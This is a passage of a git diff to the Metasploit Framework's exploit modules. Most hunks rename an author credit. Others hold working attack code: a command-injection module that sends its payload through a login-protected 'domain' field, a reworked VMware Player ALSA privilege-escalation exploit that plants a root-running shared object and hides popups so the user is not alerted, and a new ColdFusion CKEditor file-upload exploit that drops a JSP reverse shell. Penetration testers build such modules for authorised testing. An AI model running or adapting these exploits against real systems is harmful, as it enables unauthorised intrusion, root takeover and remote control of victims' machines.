cookie-set header from response.') + end + + # Performing authentication + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin/'), + 'cookie' => cookie, + 'vars_post' => { + 'username' => username, + 'password' => password, + 'submit' => 'Log+in' + } + }) + + if res && res.code == 302 + print_good("Awesome..! Authenticated with #{username}:#{password}") + else + fail_with(Failure::NoAccess, 'Credentials are not valid.') + end + + cookie + end + + def exploit + cookie = auth + + if cookie.nil? + fail_with(Failure::Unknown, 'Something went wrong!') + end + + print_status('Exploiting command injection flaw') + + if target['Arch'] == ARCH_PYTHON + cmd = "';$(python -c \"#{payload.encoded}\");#" + else + cmd = "';#{payload.encoded};#" + end + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'managetracing', 'search', 'search'), + 'cookie' => cookie, + 'vars_post' => { + 'search' => rand_text_alpha(5), + 'domain' => cmd, + 'submit' => 1 + } + }) + + end +end diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb index 687308da7aa2..83ae7715acbe 100644 --- a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb +++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb @@ -29,7 +29,7 @@ def initialize(info = {}) [ 'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC 'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'License' => MSF_LICENSE, 'Platform' => 'linux', diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index 640381952fd4..b82af21c156b 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -23,7 +23,7 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Brendan Coles ' # Discovery and exploit + 'bcoles' # Discovery and exploit ], 'References' => [ diff --git a/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb b/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb index ac3b5114bdc7..d642a9fe7441 100644 --- a/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb +++ b/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb @@ -32,7 +32,7 @@ def initialize(info = {}) 'Author' => [ 'Ivan Huertas', # Discovery and PoC - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/linux/http/ueb_api_rce.rb b/modules/exploits/linux/http/ueb_api_rce.rb index 190af5807551..db70f4935f48 100644 --- a/modules/exploits/linux/http/ueb_api_rce.rb +++ b/modules/exploits/linux/http/ueb_api_rce.rb @@ -123,5 +123,11 @@ def exploit print_status("#{peer} - Sending requests to UEB...") execute_cmdstager(:linemax => 120) end + + def on_new_session(session) + if target.name == 'UEB < 10.1.0' + print_good("A privilege escalation exploit can be found 'exploits/linux/local/ueb_bpserverd_privesc'") + end + end end diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb index cd112e556064..bba04df76a4f 100644 --- a/modules/exploits/linux/http/wanem_exec.rb +++ b/modules/exploits/linux/http/wanem_exec.rb @@ -26,7 +26,7 @@ def initialize(info = {}) 'Arch' => ARCH_CMD, 'Author' => [ - 'Brendan Coles ', # Discovery and exploit + 'bcoles', # Discovery and exploit ], 'References' => [ diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index 9a564f5061a5..79a09dcfb8cd 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -21,7 +21,7 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Brendan Coles ' # Discovery and exploit + 'bcoles' # Discovery and exploit ], 'References' => [ diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb index bd009d1795eb..1deaa185cf7b 100644 --- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb +++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb @@ -26,7 +26,7 @@ def initialize(info = {}) ], 'Author' => [ - 'Brendan Coles ', # Discovery and exploit + 'bcoles', # Discovery and exploit ], 'License' => MSF_LICENSE, 'Privileged' => false, diff --git a/modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb b/modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb index c8dee68b0068..d3bdd8be79d6 100644 --- a/modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb +++ b/modules/exploits/linux/local/abrt_raceabrt_priv_esc.rb @@ -34,7 +34,7 @@ def initialize(info = {}) 'Author' => [ 'Tavis Ormandy', # Discovery and C exploit - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Apr 14 2015', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb index 5e4c09c1c957..8c36cbbaf3d4 100644 --- a/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb +++ b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb @@ -41,7 +41,7 @@ def initialize(info = {}) 'Author' => [ 'rebel', # Discovery and chocobo_root.c exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Aug 12 2016', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/af_packet_packet_set_ring_priv_esc.rb b/modules/exploits/linux/local/af_packet_packet_set_ring_priv_esc.rb index 2c6e07a203b3..75d62a6072d6 100644 --- a/modules/exploits/linux/local/af_packet_packet_set_ring_priv_esc.rb +++ b/modules/exploits/linux/local/af_packet_packet_set_ring_priv_esc.rb @@ -47,7 +47,7 @@ def initialize(info = {}) 'Author' => [ 'Andrey Konovalov', # Discovery and C exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Mar 29 2017', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/apport_abrt_chroot_priv_esc.rb b/modules/exploits/linux/local/apport_abrt_chroot_priv_esc.rb index 9e22237825b3..a07b0f4d33d1 100644 --- a/modules/exploits/linux/local/apport_abrt_chroot_priv_esc.rb +++ b/modules/exploits/linux/local/apport_abrt_chroot_priv_esc.rb @@ -40,7 +40,7 @@ def initialize(info = {}) 'Stéphane Graber', # Independent discovery, PoC and patch 'Tavis Ormandy', # Independent discovery and C exploit 'Ricardo F. Teixeira', # shell exploit - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Mar 31 2015', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/glibc_ld_audit_dso_load_priv_esc.rb b/modules/exploits/linux/local/glibc_ld_audit_dso_load_priv_esc.rb index 5e08e7f0ab6f..9f69c150a00b 100644 --- a/modules/exploits/linux/local/glibc_ld_audit_dso_load_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_ld_audit_dso_load_priv_esc.rb @@ -47,7 +47,7 @@ def initialize(info = {}) 'zx2c4', # "I Can't Read and I Won't Race You Either" exploit 'Marco Ivaldi', # raptor_ldaudit and raptor_ldaudit2 exploits 'Todor Donev', # libmemusage.so exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Oct 18 2010', 'Platform' => 'linux', diff --git a/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb b/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb index 3bcb0c6980c2..b93f3116e64b 100644 --- a/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb @@ -48,7 +48,7 @@ def initialize(info = {}) 'Author' => [ 'Tavis Ormandy', # Discovery and exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Oct 18 2010', 'Platform' => 'linux', diff --git a/modules/exploits/linux/local/glibc_realpath_priv_esc.rb b/modules/exploits/linux/local/glibc_realpath_priv_esc.rb index 5759fca58742..1b376441960a 100644 --- a/modules/exploits/linux/local/glibc_realpath_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_realpath_priv_esc.rb @@ -34,7 +34,7 @@ def initialize(info = {}) 'Author' => [ 'halfdog', # Discovery and RationalLove.c exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Jan 16 2018', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/juju_run_agent_priv_esc.rb b/modules/exploits/linux/local/juju_run_agent_priv_esc.rb index baf61fb3c2fb..39df6276ad1a 100644 --- a/modules/exploits/linux/local/juju_run_agent_priv_esc.rb +++ b/modules/exploits/linux/local/juju_run_agent_priv_esc.rb @@ -31,7 +31,7 @@ def initialize(info = {}) [ 'Ryan Beisner', # Discovery and PoC 'David Ames (@thedac)', # Discovery and PoC - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Apr 13 2017', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb b/modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb index ab27ae11148e..86f1c582890a 100644 --- a/modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb +++ b/modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb @@ -31,7 +31,7 @@ def initialize(info = {}) 'Author' => [ "King's Way", # Discovery and exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Feb 2 2016', 'References' => diff --git a/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb b/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb index 1398f4a402ea..2ddbe5d935e1 100644 --- a/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb +++ b/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb @@ -49,7 +49,7 @@ def initialize(info = {}) 'Author' => [ 'Qualys', # Discovery and C exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Jul 24 2015', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/network_manager_vpnc_username_priv_esc.rb b/modules/exploits/linux/local/network_manager_vpnc_username_priv_esc.rb index c39856a003e9..154621cfb5d0 100644 --- a/modules/exploits/linux/local/network_manager_vpnc_username_priv_esc.rb +++ b/modules/exploits/linux/local/network_manager_vpnc_username_priv_esc.rb @@ -36,7 +36,7 @@ def initialize(info = {}) 'Author' => [ 'Denis Andzakovic', # Discovery and exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Jul 26 2018', 'References' => diff --git a/modules/exploits/linux/local/rds_priv_esc.rb b/modules/exploits/linux/local/rds_priv_esc.rb index 79d2f962a493..643d9fee4407 100644 --- a/modules/exploits/linux/local/rds_priv_esc.rb +++ b/modules/exploits/linux/local/rds_priv_esc.rb @@ -29,7 +29,7 @@ def initialize(info = {}) 'Author' => [ 'Dan Rosenberg', # Discovery and C exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Oct 20 2010', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/ufo_privilege_escalation.rb b/modules/exploits/linux/local/ufo_privilege_escalation.rb index 58dceb74a7af..a3da0c5adf5a 100644 --- a/modules/exploits/linux/local/ufo_privilege_escalation.rb +++ b/modules/exploits/linux/local/ufo_privilege_escalation.rb @@ -43,7 +43,7 @@ def initialize(info = {}) [ 'Andrey Konovalov', # Discovery and C exploit 'h00die', # Metasploit module - 'Brendan Coles' # Metasploit module + 'bcoles' # Metasploit module ], 'DisclosureDate' => 'Aug 10 2017', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/vmware_alsa_config.rb b/modules/exploits/linux/local/vmware_alsa_config.rb index fc110c61adf6..dd26c7065369 100644 --- a/modules/exploits/linux/local/vmware_alsa_config.rb +++ b/modules/exploits/linux/local/vmware_alsa_config.rb @@ -6,8 +6,11 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking - include Msf::Exploit::EXE + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel include Msf::Post::File + include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) @@ -20,13 +23,14 @@ def initialize(info = {}) as root when launching a virtual machine with an attached sound card. This module has been tested successfully on VMware Player version - 12.5.0 on Debian Linux. + 12.5.0 on Debian Linux 8 Jessie. }, 'References' => [ [ 'CVE', '2017-4915' ], [ 'EDB', '42045' ], [ 'BID', '98566' ], + [ 'URL', 'https://www.securitytracker.com/id/1038525' ], [ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ], [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ], [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ] @@ -34,8 +38,8 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ - 'Jann Horn', # Discovery and PoC - 'Brendan Coles ' # Metasploit + 'Jann Horn', # Discovery and PoC + 'bcoles' # Metasploit ], 'DisclosureDate' => 'May 22 2017', 'Platform' => 'linux', @@ -46,86 +50,137 @@ def initialize(info = {}) ], 'DefaultOptions' => { - 'Payload' => 'linux/x64/meterpreter_reverse_tcp', + 'AppendExit' => true, + 'PrependFork' => true, 'WfsDelay' => 30, - 'PrependFork' => true + 'Payload' => 'linux/x64/meterpreter_reverse_tcp' }, 'DefaultTarget' => 1, 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Privileged' => true )) register_advanced_options [ - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']), + OptString.new('Xdisplay', [true, 'Display exploit will attempt to use', ':0']) ] end - def has_prereqs? - vmplayer = cmd_exec 'which vmplayer' - if vmplayer.include? 'vmplayer' - vprint_good 'vmplayer is installed' - else - print_error 'vmplayer is not installed. Exploitation will fail.' - return false + def base_dir + datastore['WritableDir'].to_s + end + + def mkdir(path) + vprint_status "Creating '#{path}' directory" + cmd_exec "mkdir -p #{path}" + register_dir_for_cleanup path + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + chmod path + end + + def strip_comments(c_code) + c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') + end + + def upload_and_compile(path, data, gcc_args='') + upload "#{path}.c", data + + gcc_cmd = "gcc -o #{path} #{path}.c" + if session.type.eql? 'shell' + gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end - gcc = cmd_exec 'which gcc' - if gcc.include? 'gcc' - vprint_good 'gcc is installed' - else - print_error 'gcc is not installed. Compiling will fail.' - return false + unless gcc_args.to_s.blank? + gcc_cmd << " #{gcc_args}" end - true + output = cmd_exec gcc_cmd + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile" + end + + register_file_for_cleanup path + chmod path end def check - unless has_prereqs? - print_error 'Target missing prerequisites' + unless command_exists? '/usr/bin/vmplayer' + print_error 'vmplayer is not installed. Exploitation will fail.' return CheckCode::Safe end + vprint_good 'vmplayer is installed' - begin - config = read_file '/etc/vmware/config' - rescue - config = '' + unless has_gcc? + print_error 'gcc is not installed. Compiling will fail.' + return CheckCode::Safe end + vprint_good 'gcc is installed' + config = read_file('/etc/vmware/config') rescue '' if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/ - @version = Gem::Version.new $1.gsub(/\.$/, '') - vprint_status "VMware is version #{@version}" + version = Gem::Version.new $1.gsub(/\.$/, '') + vprint_status "VMware is version #{version}" else - print_error "Could not determine VMware version." - return CheckCode::Unknown + vprint_error 'Could not determine VMware version.' + return CheckCode::Detected end - if @version < Gem::Version.new('12.5.6') - print_good 'Target version is vulnerable' - return CheckCode::Vulnerable + if version >= Gem::Version.new('12.5.6') + vprint_error 'Target version is not vulnerable' + return CheckCode::Safe end - print_error 'Target version is not vulnerable' - CheckCode::Safe + CheckCode::Appears end def exploit - if check == CheckCode::Safe - print_error 'Target machine is not vulnerable' - return + unless [CheckCode::Detected, CheckCode::Appears].include? check + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' end - @home_dir = cmd_exec 'echo ${HOME}' - unless @home_dir - print_error "Could not find user's home directory" - return + if is_root? + unless datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end end - @prefs_file = "#{@home_dir}/.vmware/preferences" - fname = ".#{rand_text_alphanumeric rand(10) + 5}" - @base_dir = "#{datastore['WritableDir']}/#{fname}" - cmd_exec "mkdir #{@base_dir}" + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end - so = %Q^ + home_dir = cmd_exec 'PATH=$PATH:/usr/bin getent passwd `id -un` | cut -d: -f6' + if home_dir.blank? + fail_with Failure::Unknown, "Could not find user's home directory" + end + + unless writable? home_dir + fail_with Failure::BadConfig, "#{home_dir} is not writable" + end + + # Create a directory for the virtual machine and associated files + vmx_name = rand_text_alphanumeric(10..15) + vm_dir = "#{base_dir}/#{vmx_name}" + mkdir vm_dir + + # Create shared object + payload_name = rand_text_alphanumeric(10..15) + so_name = rand_text_alphanumeric(10..15) + so = <<-EOF /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142 Original shared object code by jhorn @@ -149,22 +204,16 @@ def exploit if (ruid == 0 || euid == 0 || suid == 0) { if (setresuid(0, 0, 0) || setresgid(0, 0, 0)) err(1, "setresxid"); - system("#{@base_dir}/#{fname}.elf"); + system("#{vm_dir}/#{payload_name}"); _exit(0); } } -^ - vprint_status "Writing #{@base_dir}/#{fname}.c" - write_file "#{@base_dir}/#{fname}.c", so - - vprint_status "Compiling #{@base_dir}/#{fname}.o" - output = cmd_exec "gcc -fPIC -shared -o #{@base_dir}/#{fname}.so #{@base_dir}/#{fname}.c -Wall -ldl -std=gnu99" - unless output == '' - print_error "Compilation failed: #{output}" - return - end +EOF - vmx = %Q| + upload_and_compile "#{vm_dir}/#{so_name}.so", strip_comments(so), '-fPIC -shared -Wall -ldl -std=gnu99' + + # Create virtual machine + vmx = <<-EOF .encoding = "UTF-8" config.version = "8" virtualHW.version = "8" @@ -176,9 +225,9 @@ def exploit sound.autodetect = "TRUE" vmci0.present = "FALSE" hpet0.present = "FALSE" -displayName = "#{fname}" +displayName = "#{vmx_name}" guestOS = "other" -nvram = "#{fname}.nvram" +nvram = "#{vmx_name}.nvram" virtualHW.productCompatibility = "hosted" gui.exitOnCLIHLT = "FALSE" powerType.powerOff = "soft" @@ -187,75 +236,62 @@ def exploit powerType.reset = "soft" floppy0.present = "FALSE" monitor_control.disable_longmode = 1 -| - vprint_status "Writing #{@base_dir}/#{fname}.vmx" - write_file "#{@base_dir}/#{fname}.vmx", vmx - - vprint_status "Writing #{@base_dir}/#{fname}.elf" - write_file "#{@base_dir}/#{fname}.elf", generate_payload_exe +EOF - vprint_status "Setting #{@base_dir}/#{fname}.elf executable" - cmd_exec "chmod +x #{@base_dir}/#{fname}.elf" + upload "#{vm_dir}/#{vmx_name}.vmx", vmx + upload_and_chmodx "#{vm_dir}/#{payload_name}", generate_payload_exe - asoundrc = %Q| + # Create ALSA sound config + asoundrc = <<-EOF hook_func.pulse_load_if_running { - lib "#{@base_dir}/#{fname}.so" + lib "#{vm_dir}/#{so_name}.so" func "conf_pulse_hook_load_if_running" } -| - vprint_status "Writing #{@home_dir}/.asoundrc" - write_file "#{@home_dir}/.asoundrc", asoundrc - - vprint_status 'Disabling VMware hint popups' - unless directory? "#{@home_dir}/.vmware" - cmd_exec "mkdir #{@home_dir}/.vmware" - @remove_prefs_dir = true +EOF + + upload "#{home_dir}/.asoundrc", asoundrc + + # Hint popups must be disabled. + # Popups may cause the VMplayer process to hang open, awaiting input. They may also alert the user. + # Also, firstRunDismissedVersion must be set to prevent registration popups on a fresh install. + # + # VMware uses '~' to determine the user's home directory when reading the preferences file: + # stat("~/.vmware/preferences", 0x7fffd18da340) = -1 ENOENT (No such file or directory) + # open("~/.vmware/preferences", O_RDONLY) = -1 ENOENT (No such file or directory) + # + # If we're executing in a shell without '~' expansion, + # then we'll need to create this directory in the current working directory. + vprint_status 'Disabling VMware popups...' + + unless cmd_exec("test -d ~ && echo true").include? 'true' + mkdir '~' + end + unless cmd_exec("test -d ~/.vmware && echo true").include? 'true' + mkdir '~/.vmware' end - if file? @prefs_file - begin - prefs = read_file @prefs_file - rescue - prefs = '' - end + # Expand '~' to the appropriate full directory path and parse preferences + prefs_file = cmd_exec "PATH=$PATH:/usr/bin realpath ~/.vmware/preferences" + unless file? prefs_file + cmd_exec "touch #{prefs_file}" + register_file_for_cleanup prefs_file end + prefs = cmd_exec("cat #{prefs_file}").to_s if prefs.blank? prefs = ".encoding = \"UTF8\"\n" prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n" prefs << "hints.hideAll = \"TRUE\"\n" - @remove_prefs_file = true elsif prefs =~ /hints\.hideAll/i prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"') else prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n") end - vprint_status "Writing #{@prefs_file}" - write_file "#{@prefs_file}", prefs + vprint_status "Writing config file: #{prefs_file}" + write_file prefs_file, prefs + # Launch VMware in the background to prevent the existing session from dying print_status 'Launching VMware Player...' - cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx" - end - - def cleanup - print_status "Removing #{@base_dir} directory" - cmd_exec "rm '#{@base_dir}' -rf" - - print_status "Removing #{@home_dir}/.asoundrc" - cmd_exec "rm '#{@home_dir}/.asoundrc'" - - if @remove_prefs_dir - print_status "Removing #{@home_dir}/.vmware directory" - cmd_exec "rm '#{@home_dir}/.vmware' -rf" - elsif @remove_prefs_file - print_status "Removing #{@prefs_file}" - cmd_exec "rm '#{@prefs_file}' -rf" - end - end - - def on_new_session(session) - # if we don't /bin/sh here, our payload times out - session.shell_command_token '/bin/sh' - super + cmd_exec "DISPLAY=#{datastore['Xdisplay']} PATH=$PATH:/usr/bin vmplayer #{vm_dir}/#{vmx_name}.vmx & echo " end end diff --git a/modules/exploits/linux/misc/asus_infosvr_auth_bypass_exec.rb b/modules/exploits/linux/misc/asus_infosvr_auth_bypass_exec.rb index 6fddd89dfd90..d5df934bbf3d 100644 --- a/modules/exploits/linux/misc/asus_infosvr_auth_bypass_exec.rb +++ b/modules/exploits/linux/misc/asus_infosvr_auth_bypass_exec.rb @@ -28,7 +28,7 @@ def initialize(info = {}) [ 'Friedrich Postelstorfer', # Initial public disclosure and Python exploit 'jduck', # Independent discovery and C exploit - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'License' => MSF_LICENSE, 'Platform' => 'unix', diff --git a/modules/exploits/linux/misc/hid_discoveryd_command_blink_on_unauth_rce.rb b/modules/exploits/linux/misc/hid_discoveryd_command_blink_on_unauth_rce.rb index 257af86a09a5..68cca583f08a 100644 --- a/modules/exploits/linux/misc/hid_discoveryd_command_blink_on_unauth_rce.rb +++ b/modules/exploits/linux/misc/hid_discoveryd_command_blink_on_unauth_rce.rb @@ -24,7 +24,7 @@ def initialize(info = {}) [ 'Ricky "HeadlessZeke" Lawshae', # Discovery 'coldfusion39', # VertXploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'License' => MSF_LICENSE, 'Platform' => 'linux', diff --git a/modules/exploits/linux/misc/qnap_transcode_server.rb b/modules/exploits/linux/misc/qnap_transcode_server.rb index 56ff31331e46..545b6071a62f 100644 --- a/modules/exploits/linux/misc/qnap_transcode_server.rb +++ b/modules/exploits/linux/misc/qnap_transcode_server.rb @@ -25,7 +25,7 @@ def initialize(info = {}) [ 'Zenofex', # Initial vulnerability discovery and PoC '0x00string', # Initial vulnerability discovery and PoC - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'License' => MSF_LICENSE, 'Platform' => 'linux', diff --git a/modules/exploits/linux/samba/is_known_pipename.rb b/modules/exploits/linux/samba/is_known_pipename.rb index 47a251481463..29f33e3ede1d 100644 --- a/modules/exploits/linux/samba/is_known_pipename.rb +++ b/modules/exploits/linux/samba/is_known_pipename.rb @@ -24,7 +24,7 @@ def initialize(info = {}) [ 'steelo ', # Vulnerability Discovery & Python Exploit 'hdm', # Metasploit Module - 'Brendan Coles ', # Check logic + 'bcoles', # Check logic ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb b/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb new file mode 100644 index 000000000000..a45c207b2f0e --- /dev/null +++ b/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb @@ -0,0 +1,93 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + + Rank = ExcellentRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Adobe ColdFusion CKEditor unrestricted file upload', + 'Description' => %q{ + A file upload vulnerability in the CKEditor of Adobe ColdFusion 11 + (Update 14 and earlier), ColdFusion 2016 (Update 6 and earlier), and + ColdFusion 2018 (July 12 release) allows unauthenticated remote + attackers to upload and execute JSP files through the filemanager + plugin. + Tested on Adobe ColdFusion 2018.0.0.310739. + }, + 'Author' => + [ + 'Pete Freitag de Foundeo', # Vulnerability discovery + 'Vahagn vah_13 Vardanian', # First public PoC + 'Qazeer' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2018-15961' ], + [ 'BID', '105314' ], + [ 'URL', 'https://helpx.adobe.com/fr/security/products/coldfusion/apsb18-33.html' ] + ], + 'Privileged' => false, + 'Platform' => %w{ linux win }, + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => %w{ linux win }, + 'Payload' => { 'DisableNops' => true }, + 'DefaultOptions' => {'PAYLOAD' => 'java/jsp_shell_reverse_tcp'} + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'RPORT' => 8500 }, + 'DisclosureDate' => 'Sep 11 2018' + )) + + register_options [ + OptString.new('TARGETURI', [ false, 'Base application path', '/' ]), + ] + end + + def exploit + filename = rand_text_alpha_upper(1..10) + '.jsp' + + print_status("Uploading the JSP payload at #{target_uri}cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/#{filename}...") + + mime = Rex::MIME::Message.new + mime.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{filename}\"") + mime.add_part('path', 'text/plain', nil, 'form-data; name="path"') + + post_str = mime.to_s + post_str.strip! + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri, 'cf_scripts','scripts','ajax','ckeditor','plugins','filemanager','upload.cfm'), + 'version' => '1.1', + 'method' => 'POST', + 'ctype' => 'multipart/form-data; boundary=' + mime.bound, + 'data' => post_str, + }) + + unless res && res.code == 200 + fail_with Failure::Unknown, 'Upload Failed...' + end + + print_good('Upload succeeded! Executing payload...') + + send_request_cgi({ + 'uri' => normalize_uri(target_uri, 'cf_scripts', 'scripts', 'ajax', + 'ckeditor', 'plugins', 'filemanager', 'uploadedFiles', filename), + 'method' => 'GET' + }, 5) + + end +end diff --git a/modules/exploits/multi/http/cups_bash_env_exec.rb b/modules/exploits/multi/http/cups_bash_env_exec.rb index 7d47a153143d..484ff5c8d201 100644 --- a/modules/exploits/multi/http/cups_bash_env_exec.rb +++ b/modules/exploits/multi/http/cups_bash_env_exec.rb @@ -19,7 +19,7 @@ def initialize(info = {}) 'Author' => [ 'Stephane Chazelas', # Vulnerability discovery 'lcamtuf', # CVE-2014-6278 - 'Brendan Coles ' # msf + 'bcoles' # msf ], 'References' => [ [ 'CVE', '2014-6271' ], diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index d4281285fb8e..de7f0b4c9c13 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -20,7 +20,7 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Brendan Coles ' # Discovery and exploit + 'bcoles' # Discovery and exploit ], 'References' => [ diff --git a/modules/exploits/multi/http/extplorer_upload_exec.rb b/modules/exploits/multi/http/extplorer_upload_exec.rb index e2ef5c2c28b3..1c0e70019c12 100644 --- a/modules/exploits/multi/http/extplorer_upload_exec.rb +++ b/modules/exploits/multi/http/extplorer_upload_exec.rb @@ -22,7 +22,7 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Brendan Coles ' # Discovery and exploit + 'bcoles' # Discovery and exploit ], 'References' => [ diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb b/modules/exploits/multi/http/glossword_upload_exec.rb index 